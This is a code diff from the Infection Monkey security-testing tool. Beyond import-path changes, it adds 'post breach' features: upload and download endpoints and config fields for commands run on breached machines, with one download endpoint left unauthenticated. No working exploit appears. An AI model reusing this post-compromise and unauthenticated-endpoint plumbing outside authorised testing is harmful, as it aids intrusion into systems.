from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
import logging
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def run_local_monkey():
|
||||
import platform
|
||||
import subprocess
|
||||
|
@ -26,8 +28,8 @@ def run_local_monkey():
|
|||
if not result:
|
||||
return False, "OS Type not found"
|
||||
|
||||
monkey_path = os.path.join(os.getcwd(), 'monkey_island', 'cc', 'binaries', result['filename'])
|
||||
target_path = os.path.join(os.getcwd(), 'monkey_island', result['filename'])
|
||||
monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries', result['filename'])
|
||||
target_path = os.path.join(MONKEY_ISLAND_ABS_PATH, result['filename'])
|
||||
|
||||
# copy the executable to temp path (don't run the monkey from its current location as it may delete itself)
|
||||
try:
|
||||
|
|
|
@ -4,10 +4,10 @@ import flask_restful
|
|||
from bson import ObjectId
|
||||
from flask import request
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.database import mongo
|
||||
from cc.services.log import LogService
|
||||
from cc.services.node import NodeService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.log import LogService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
|
|
@ -5,9 +5,9 @@ import dateutil.parser
|
|||
from flask import request
|
||||
import flask_restful
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.node import NodeService
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
|
|
@ -3,8 +3,8 @@ import json
|
|||
import flask_restful
|
||||
from flask import request, jsonify, abort
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.services.config import ConfigService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
|
|
@ -5,6 +5,8 @@ import os
|
|||
import flask_restful
|
||||
from flask import request, send_from_directory
|
||||
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -70,7 +72,7 @@ class MonkeyDownload(flask_restful.Resource):
|
|||
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory('binaries', path)
|
||||
return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries'), path)
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def post(self):
|
||||
|
@ -81,7 +83,7 @@ class MonkeyDownload(flask_restful.Resource):
|
|||
|
||||
if result:
|
||||
# change resulting from new base path
|
||||
real_path = os.path.join("monkey_island", "cc", 'binaries', result['filename'])
|
||||
real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', result['filename'])
|
||||
if os.path.isfile(real_path):
|
||||
result['size'] = os.path.getsize(real_path)
|
||||
return result
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
import flask_restful
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.services.node import NodeService
|
||||
from cc.database import mongo
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.edge import EdgeService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
from flask import request
|
||||
import flask_restful
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.services.node import NodeService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
|
|
@ -0,0 +1,14 @@
|
|||
import flask_restful
|
||||
from flask import send_from_directory
|
||||
from monkey_island.cc.resources.pba_file_upload import GET_FILE_DIR
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
||||
class PBAFileDownload(flask_restful.Resource):
|
||||
"""
|
||||
File download endpoint used by monkey to download user's PBA file
|
||||
"""
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(GET_FILE_DIR, path)
|
|
@ -0,0 +1,83 @@
|
|||
import flask_restful
|
||||
from flask import request, send_from_directory, Response
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
import os
|
||||
from werkzeug.utils import secure_filename
|
||||
import logging
|
||||
import copy
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
GET_FILE_DIR = "./userUploads"
|
||||
# Front end uses these strings to identify which files to work with (linux of windows)
|
||||
LINUX_PBA_TYPE = 'PBAlinux'
|
||||
WINDOWS_PBA_TYPE = 'PBAwindows'
|
||||
|
||||
|
||||
class FileUpload(flask_restful.Resource):
|
||||
"""
|
||||
File upload endpoint used to exchange files with filepond component on the front-end
|
||||
"""
|
||||
@jwt_required()
|
||||
def get(self, file_type):
|
||||
"""
|
||||
Sends file to filepond
|
||||
:param file_type: Type indicates which file to send, linux or windows
|
||||
:return: Returns file contents
|
||||
"""
|
||||
# Verify that file_name is indeed a file from config
|
||||
if file_type == LINUX_PBA_TYPE:
|
||||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
|
||||
else:
|
||||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
|
||||
return send_from_directory(GET_FILE_DIR, filename)
|
||||
|
||||
@jwt_required()
|
||||
def post(self, file_type):
|
||||
"""
|
||||
Receives user's uploaded file from filepond
|
||||
:param file_type: Type indicates which file was received, linux or windows
|
||||
:return: Returns flask response object with uploaded file's filename
|
||||
"""
|
||||
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
|
||||
|
||||
response = Response(
|
||||
response=filename,
|
||||
status=200, mimetype='text/plain')
|
||||
return response
|
||||
|
||||
@jwt_required()
|
||||
def delete(self, file_type):
|
||||
"""
|
||||
Deletes file that has been deleted on the front end
|
||||
:param file_type: Type indicates which file was deleted, linux of windows
|
||||
:return: Empty response
|
||||
"""
|
||||
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
|
||||
filename = ConfigService.get_config_value(filename_path)
|
||||
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
ConfigService.set_config_value(filename_path, '')
|
||||
except OSError as e:
|
||||
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||
|
||||
return {}
|
||||
|
||||
@staticmethod
|
||||
def upload_pba_file(request_, is_linux=True):
|
||||
"""
|
||||
Uploads PBA file to island's file system
|
||||
:param request_: Request object containing PBA file
|
||||
:param is_linux: Boolean indicating if this file is for windows or for linux
|
||||
:return: filename string
|
||||
"""
|
||||
filename = secure_filename(request_.files['filepond'].filename)
|
||||
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||
request_.files['filepond'].save(file_path)
|
||||
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
|
||||
return filename
|
|
@ -2,8 +2,8 @@ import json
|
|||
from flask import request, jsonify, make_response
|
||||
import flask_restful
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from common.cloud.aws_service import AwsService
|
||||
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import flask_restful
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.services.report import ReportService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.report import ReportService
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
|
|
@ -4,12 +4,13 @@ import logging
|
|||
import flask_restful
|
||||
from flask import request, make_response, jsonify
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.database import mongo
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.node import NodeService
|
||||
from cc.services.report import ReportService
|
||||
from cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.report import ReportService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
|
|||
@staticmethod
|
||||
@jwt_required()
|
||||
def reset_db():
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
ConfigService.init_config()
|
||||
|
|
|
@ -7,14 +7,14 @@ import dateutil
|
|||
import flask_restful
|
||||
from flask import request
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.database import mongo
|
||||
from cc.services import mimikatz_utils
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.services.node import NodeService
|
||||
from cc.encryptor import encryptor
|
||||
from cc.services.wmi_handler import WMIHandler
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services import mimikatz_utils
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.edge import EdgeService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.encryptor import encryptor
|
||||
from monkey_island.cc.services.wmi_handler import WMIHandler
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
|
|||
if len(credential) > 0:
|
||||
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
|
||||
|
||||
@staticmethod
|
||||
def process_post_breach_telemetry(telemetry_json):
|
||||
mongo.db.monkey.update(
|
||||
{'guid': telemetry_json['monkey_guid']},
|
||||
{'$push': {'pba_results': telemetry_json['data']}})
|
||||
|
||||
TELEM_PROCESS_DICT = \
|
||||
{
|
||||
|
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
|
|||
'exploit': Telemetry.process_exploit_telemetry,
|
||||
'scan': Telemetry.process_scan_telemetry,
|
||||
'system_info_collection': Telemetry.process_system_info_telemetry,
|
||||
'trace': Telemetry.process_trace_telemetry
|
||||
'trace': Telemetry.process_trace_telemetry,
|
||||
'post_breach': Telemetry.process_post_breach_telemetry
|
||||
}
|
||||
|
|
|
@ -5,9 +5,9 @@ import flask_restful
|
|||
from flask import request
|
||||
import flask_pymongo
|
||||
|
||||
from cc.auth import jwt_required
|
||||
from cc.database import mongo
|
||||
from cc.services.node import NodeService
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
|
|||
def get_trace_telem_brief(telem):
|
||||
return 'Monkey reached max depth.'
|
||||
|
||||
@staticmethod
|
||||
def get_post_breach_telem_brief(telem):
|
||||
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
|
||||
telem['data']['hostname'],
|
||||
telem['data']['ip'])
|
||||
|
||||
|
||||
TELEM_PROCESS_DICT = \
|
||||
{
|
||||
|
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
|
|||
'exploit': TelemetryFeed.get_exploit_telem_brief,
|
||||
'scan': TelemetryFeed.get_scan_telem_brief,
|
||||
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
|
||||
'trace': TelemetryFeed.get_trace_telem_brief
|
||||
'trace': TelemetryFeed.get_trace_telem_brief,
|
||||
'post_breach': TelemetryFeed.get_post_breach_telem_brief
|
||||
}
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
__author__ = 'VakarisZ'
|
|
@ -0,0 +1,19 @@
|
|||
"""
|
||||
File that contains ATT&CK telemetry storing/retrieving logic
|
||||
"""
|
||||
import logging
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def set_results(technique, data):
|
||||
"""
|
||||
Adds ATT&CK technique results(telemetry) to the database
|
||||
:param technique: technique ID string e.g. T1110
|
||||
:param data: Data, relevant to the technique
|
||||
"""
|
||||
data.update({'technique': technique})
|
||||
mongo.db.attack_results.insert(data)
|
|
@ -4,11 +4,12 @@ import functools
|
|||
import logging
|
||||
from jsonschema import Draft4Validator, validators
|
||||
from six import string_types
|
||||
import monkey_island.cc.services.post_breach_files
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.encryptor import encryptor
|
||||
from cc.environment.environment import env
|
||||
from cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.encryptor import encryptor
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from config_schema import SCHEMA
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
@ -79,6 +80,12 @@ class ConfigService:
|
|||
config = encryptor.dec(config)
|
||||
return config
|
||||
|
||||
@staticmethod
|
||||
def set_config_value(config_key_as_arr, value):
|
||||
mongo_key = ".".join(config_key_as_arr)
|
||||
mongo.db.config.update({'name': 'newconfig'},
|
||||
{"$set": {mongo_key: value}})
|
||||
|
||||
@staticmethod
|
||||
def get_flat_config(is_initial_config=False, should_decrypt=True):
|
||||
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
|
||||
|
@ -138,6 +145,8 @@ class ConfigService:
|
|||
|
||||
@staticmethod
|
||||
def update_config(config_json, should_encrypt):
|
||||
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
|
||||
monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json)
|
||||
if should_encrypt:
|
||||
try:
|
||||
ConfigService.encrypt_config(config_json)
|
||||
|
@ -173,6 +182,7 @@ class ConfigService:
|
|||
|
||||
@staticmethod
|
||||
def reset_config():
|
||||
monkey_island.cc.services.post_breach_files.remove_PBA_files()
|
||||
config = ConfigService.get_default_config(True)
|
||||
ConfigService.set_server_ips_in_config(config)
|
||||
ConfigService.update_config(config, should_encrypt=False)
|
||||
|
|
|
@ -313,6 +313,46 @@ SCHEMA = {
|
|||
"title": "Behaviour",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"custom_PBA_linux_cmd": {
|
||||
"title": "Linux post breach command",
|
||||
"type": "string",
|
||||
"default": "",
|
||||
"description": "Linux command to be executed after breaching."
|
||||
},
|
||||
"PBA_linux_file": {
|
||||
"title": "Linux post breach file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Linux post breach command' field. "
|
||||
"Reference your file by filename."
|
||||
},
|
||||
"custom_PBA_windows_cmd": {
|
||||
"title": "Windows post breach command",
|
||||
"type": "string",
|
||||
"default": "",
|
||||
"description": "Windows command to be executed after breaching."
|
||||
},
|
||||
"PBA_windows_file": {
|
||||
"title": "Windows post breach file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Windows post breach command' field. "
|
||||
"Reference your file by filename."
|
||||
},
|
||||
"PBA_windows_filename": {
|
||||
"title": "Windows PBA filename",
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"PBA_linux_filename": {
|
||||
"title": "Linux PBA filename",
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"self_delete_in_cleanup": {
|
||||
"title": "Self delete on cleanup",
|
||||
"type": "boolean",
|
||||
|
@ -423,7 +463,19 @@ SCHEMA = {
|
|||
"type": "integer",
|
||||
"default": 60,
|
||||
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
||||
}
|
||||
},
|
||||
"monkey_dir_windows": {
|
||||
"title": "Monkey's windows directory",
|
||||
"type": "string",
|
||||
"default": r"C:\Windows\temp\monkey_dir",
|
||||
"description": "Directory containing all monkey files on windows"
|
||||
},
|
||||
"monkey_dir_linux": {
|
||||
"title": "Monkey's linux directory",
|
||||
"type": "string",
|
||||
"default": "/tmp/monkey_dir",
|
||||
"description": "Directory containing all monkey files on linux"
|
||||
},
|
||||
}
|
||||
},
|
||||
"classes": {
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
from bson import ObjectId
|
||||
|
||||
from cc.database import mongo
|
||||
import cc.services.node
|
||||
from monkey_island.cc.database import mongo
|
||||
import monkey_island.cc.services.node
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
@ -87,7 +87,7 @@ class EdgeService:
|
|||
|
||||
@staticmethod
|
||||
def get_infected_monkey_island_pseudo_edges():
|
||||
monkey = cc.services.node.NodeService.get_monkey_island_monkey()
|
||||
monkey = monkey_island.cc.services.node.NodeService.get_monkey_island_monkey()
|
||||
existing_ids = [x["from"] for x in mongo.db.edge.find({"to": monkey["_id"]})]
|
||||
monkey_ids = [x["_id"] for x in mongo.db.monkey.find({})
|
||||
if ("tunnel" not in x) and (x["_id"] not in existing_ids) and (x["_id"] != monkey["_id"])]
|
||||
|
@ -136,11 +136,11 @@ class EdgeService:
|
|||
{"_id": edge["_id"]},
|
||||
{"$set": {"exploited": True}}
|
||||
)
|
||||
cc.services.node.NodeService.set_node_exploited(edge["to"])
|
||||
monkey_island.cc.services.node.NodeService.set_node_exploited(edge["to"])
|
||||
|
||||
@staticmethod
|
||||
def get_edge_label(edge):
|
||||
NodeService = cc.services.node.NodeService
|
||||
NodeService = monkey_island.cc.services.node.NodeService
|
||||
from_label = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
|
||||
if edge["to"] == ObjectId("000000000000000000000000"):
|
||||
to_label = 'MonkeyIsland'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
from datetime import datetime
|
||||
|
||||
import cc.services.node
|
||||
from cc.database import mongo, database
|
||||
import monkey_island.cc.services.node
|
||||
from monkey_island.cc.database import mongo, database
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
@ -15,8 +15,8 @@ class LogService:
|
|||
log = mongo.db.log.find_one({'monkey_id': monkey_id})
|
||||
if log:
|
||||
log_file = database.gridfs.get(log['file_id'])
|
||||
monkey_label = cc.services.node.NodeService.get_monkey_label(
|
||||
cc.services.node.NodeService.get_monkey_by_id(log['monkey_id']))
|
||||
monkey_label = monkey_island.cc.services.node.NodeService.get_monkey_label(
|
||||
monkey_island.cc.services.node.NodeService.get_monkey_by_id(log['monkey_id']))
|
||||
return \
|
||||
{
|
||||
'monkey_label': monkey_label,
|
||||
|
|
|
@ -2,10 +2,10 @@ from datetime import datetime, timedelta
|
|||
|
||||
from bson import ObjectId
|
||||
|
||||
import cc.services.log
|
||||
from cc.database import mongo
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.utils import local_ip_addresses
|
||||
import monkey_island.cc.services.log
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.edge import EdgeService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
import socket
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
@ -59,7 +59,7 @@ class NodeService:
|
|||
else:
|
||||
new_node["services"] = []
|
||||
|
||||
new_node['has_log'] = cc.services.log.LogService.log_exists(ObjectId(node_id))
|
||||
new_node['has_log'] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id))
|
||||
return new_node
|
||||
|
||||
@staticmethod
|
||||
|
@ -142,7 +142,8 @@ class NodeService:
|
|||
"group": NodeService.get_monkey_group(monkey),
|
||||
"os": NodeService.get_monkey_os(monkey),
|
||||
"dead": monkey["dead"],
|
||||
"domain_name": ""
|
||||
"domain_name": "",
|
||||
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
import monkey_island.cc.services.config
|
||||
import logging
|
||||
import os
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Where to find file names in config
|
||||
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
|
||||
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
|
||||
UPLOADS_DIR = 'monkey_island/cc/userUploads'
|
||||
|
||||
|
||||
def remove_PBA_files():
|
||||
if monkey_island.cc.services.config.ConfigService.get_config():
|
||||
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||
if linux_filename:
|
||||
remove_file(linux_filename)
|
||||
if windows_filename:
|
||||
remove_file(windows_filename)
|
||||
|
||||
|
||||
def remove_file(file_name):
|
||||
file_path = os.path.join(UPLOADS_DIR, file_name)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
except OSError as e:
|
||||
logger.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||
|
||||
|
||||
def set_config_PBA_files(config_json):
|
||||
"""
|
||||
Sets PBA file info in config_json to current config's PBA file info values.
|
||||
:param config_json: config_json that will be modified
|
||||
"""
|
||||
if monkey_island.cc.services.config.ConfigService.get_config():
|
||||
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
|
||||
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename
|
|
@ -1,10 +1,10 @@
|
|||
from itertools import product
|
||||
|
||||
from cc.database import mongo
|
||||
from monkey_island.cc.database import mongo
|
||||
from bson import ObjectId
|
||||
|
||||
from cc.services.groups_and_users_consts import USERTYPE
|
||||
from cc.services.node import NodeService
|
||||
from monkey_island.cc.services.groups_and_users_consts import USERTYPE
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from common.cloud.aws_instance import AwsInstance
|
||||
from common.cloud.aws_service import AwsService
|
||||
from common.cmd.aws.aws_cmd_runner import AwsCmdRunner
|
||||
|
|
|
@ -9,12 +9,12 @@ from enum import Enum
|
|||
|
||||
from six import text_type
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.report_exporter_manager import ReportExporterManager
|
||||
from cc.services.config import ConfigService
|
||||
from cc.services.edge import EdgeService
|
||||
from cc.services.node import NodeService
|
||||
from cc.utils import local_ip_addresses, get_subnets
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.report_exporter_manager import ReportExporterManager
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.edge import EdgeService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.utils import local_ip_addresses, get_subnets
|
||||
from pth_report import PTHReportService
|
||||
from common.network.network_range import NetworkRange
|
||||
|
||||
|
@ -132,7 +132,8 @@ class ReportService:
|
|||
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
||||
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
||||
'services': node['services'],
|
||||
'domain_name': node['domain_name']
|
||||
'domain_name': node['domain_name'],
|
||||
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
|
||||
})
|
||||
|
||||
logger.info('Scanned nodes generated for reporting')
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
from cc.database import mongo
|
||||
from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE
|
||||
|
||||
__author__ = 'maor.rayzin'
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -68,6 +68,7 @@
|
|||
"core-js": "^2.5.7",
|
||||
"downloadjs": "^1.4.7",
|
||||
"fetch": "^1.1.0",
|
||||
"filepond": "^4.2.0",
|
||||
"js-file-download": "^0.4.4",
|
||||
"json-loader": "^0.5.7",
|
||||
"jwt-decode": "^2.2.0",
|
||||
|
@ -83,6 +84,7 @@
|
|||
"react-dimensions": "^1.3.0",
|
||||
"react-dom": "^16.5.2",
|
||||
"react-fa": "^5.0.0",
|
||||
"react-filepond": "^7.0.1",
|
||||
"react-graph-vis": "^1.0.2",
|
||||
"react-json-tree": "^0.11.0",
|
||||
"react-jsonschema-form": "^1.0.5",
|
||||
|
|
|
@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
|
|||
super(props);
|
||||
this.auth = new AuthService();
|
||||
this.authFetch = this.auth.authFetch;
|
||||
this.jwtHeader = this.auth.jwtHeader();
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
|
|||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
removePBAfiles: false,
|
||||
completedSteps: {
|
||||
run_server: true,
|
||||
run_monkey: false,
|
||||
|
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
|
|||
};
|
||||
}
|
||||
|
||||
// Sets the property that indicates if we need to remove PBA files from state or not
|
||||
setRemovePBAfiles = (rmFiles) => {
|
||||
this.setState({removePBAfiles: rmFiles});
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
this.updateStatus();
|
||||
this.interval = setInterval(this.updateStatus, 5000);
|
||||
|
|
|
@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
|
|||
import {Col, Nav, NavItem} from 'react-bootstrap';
|
||||
import fileDownload from 'js-file-download';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import { FilePond } from 'react-filepond';
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
|
||||
class ConfigurePageComponent extends AuthComponent {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
|
||||
this.PBAwindowsPond = null;
|
||||
this.PBAlinuxPond = null;
|
||||
this.currentSection = 'basic';
|
||||
this.currentFormData = {};
|
||||
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||
|
||||
this.uiSchema = {
|
||||
behaviour: {
|
||||
custom_PBA_linux_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_linux_file: {
|
||||
"ui:widget": this.PBAlinux
|
||||
},
|
||||
custom_PBA_windows_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_file: {
|
||||
"ui:widget": this.PBAwindows
|
||||
},
|
||||
PBA_linux_filename: {
|
||||
classNames: "linux-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_filename: {
|
||||
classNames: "windows-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
}
|
||||
}
|
||||
};
|
||||
// set schema from server
|
||||
this.state = {
|
||||
schema: {},
|
||||
|
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
lastAction: 'none',
|
||||
sections: [],
|
||||
selectedSection: 'basic',
|
||||
allMonkeysAreDead: true
|
||||
allMonkeysAreDead: true,
|
||||
PBAwinFile: [],
|
||||
PBAlinuxFile: []
|
||||
};
|
||||
}
|
||||
|
||||
|
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
resetConfig = () => {
|
||||
this.removePBAfiles();
|
||||
this.authFetch('/api/configuration/island',
|
||||
{
|
||||
method: 'POST',
|
||||
|
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
removePBAfiles(){
|
||||
// We need to clean files from widget, local state and configuration (to sync with bac end)
|
||||
if (this.PBAwindowsPond !== null){
|
||||
this.PBAwindowsPond.removeFile();
|
||||
}
|
||||
if (this.PBAlinuxPond !== null){
|
||||
this.PBAlinuxPond.removeFile();
|
||||
}
|
||||
let request_options = {method: 'DELETE',
|
||||
headers: {'Content-Type': 'text/plain'}};
|
||||
this.authFetch('/api/fileUpload/PBAlinux', request_options);
|
||||
this.authFetch('/api/fileUpload/PBAwindows', request_options);
|
||||
this.setState({PBAlinuxFile: [], PBAwinFile: []});
|
||||
}
|
||||
|
||||
onReadFile = (event) => {
|
||||
try {
|
||||
